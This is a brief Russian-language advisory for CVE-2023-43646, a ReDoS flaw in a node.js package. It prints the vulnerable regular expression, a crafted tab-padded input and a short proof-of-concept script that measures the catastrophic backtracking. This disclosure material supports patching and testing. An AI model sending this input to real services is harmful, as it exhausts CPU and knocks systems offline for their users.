
redos
CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS в пакете node.js
в рамках проекта rebob
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
Эта уязвимость может быть использована при дисбалансе скобок, что приводит к чрезмерному возврату (backtracking) и, как следствие, значительно увеличивает нагрузку на процессор и время обработки. Эту уязвимость можно вызвать с помощью следующего ввода:
'\t'.repeat(54773) + '\t/function/i'
Вот простой код PoC, демонстрирующий проблему:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");